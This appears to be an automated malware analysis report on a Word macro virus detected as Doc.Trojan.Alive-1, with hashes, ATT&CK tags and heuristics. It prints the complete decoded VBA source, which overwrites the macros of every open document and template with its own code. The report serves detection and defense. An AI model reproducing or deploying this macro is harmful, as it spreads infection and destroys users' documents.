Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a92c752052dc712d…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-04-28 00:12:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: c2cc3a93f188dafb6c194dca32981ba2 SHA-1: 1ac0945e1b6cb49602005e69ec49033158df018d SHA-256: a92c752052dc712d86e2b992ecaf658ea61df4d42154907caa7e1d085d728cb0
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Alive-1'. It contains VBA macros, specifically a 'Document_Open' macro, which is designed to execute automatically when the document is opened. The macro attempts to copy its own code into other open documents and templates, indicating a self-propagation or persistence mechanism.

Heuristics 3

  • ClamAV: Doc.Trojan.Alive-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alive-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1690 bytes
SHA-256: 7603d4eb35f29d9889c589293d286f9d26e48b99d1f9446178eacb73cf70b88c
Detection
ClamAV: Doc.Trojan.Alive-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Alive(): t = 0: c = c + 1

vHost = ThisDocument.VBProject.VBComponents(c).CodeModule.Lines(c, _
ThisDocument.VBProject.VBComponents(c).CodeModule.CountOfLines)

For t = 1 To Application.Documents.Count

    If t = 0 Then
    
    End
    
        Else
        
        With Documents(t).VBProject.VBComponents(c).CodeModule
        
        tu_je = .Lines(c, c)
        
            If tu_je <> "Private Sub Alive(): t = 0: c = c + 1" Then
            
                    .DeleteLines c, .CountOfLines
                    
                    .AddFromString vHost
                    
            End If
            
        End With
        
    End If
    
Next t
  
For n = 1 To Application.Templates.Count

    If t = 0 Then
    
    End
    
        Else
        
        With Templates(n).VBProject.VBComponents(c).CodeModule
        
        evo_je = .Lines(c, c)
        
            If evo_je <> "Private Sub Alive(): t = 0: c = c + 1" Then
            
                    .DeleteLines c, .CountOfLines
                
                    .AddFromString vHost
                
            End If
            
        End With
        
    End If
    
Next n

End Sub

Private Sub Document_New(): Alive: End Sub

Private Sub Document_Open(): Alive: End Sub

Private Sub Document_Close(): Alive: End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.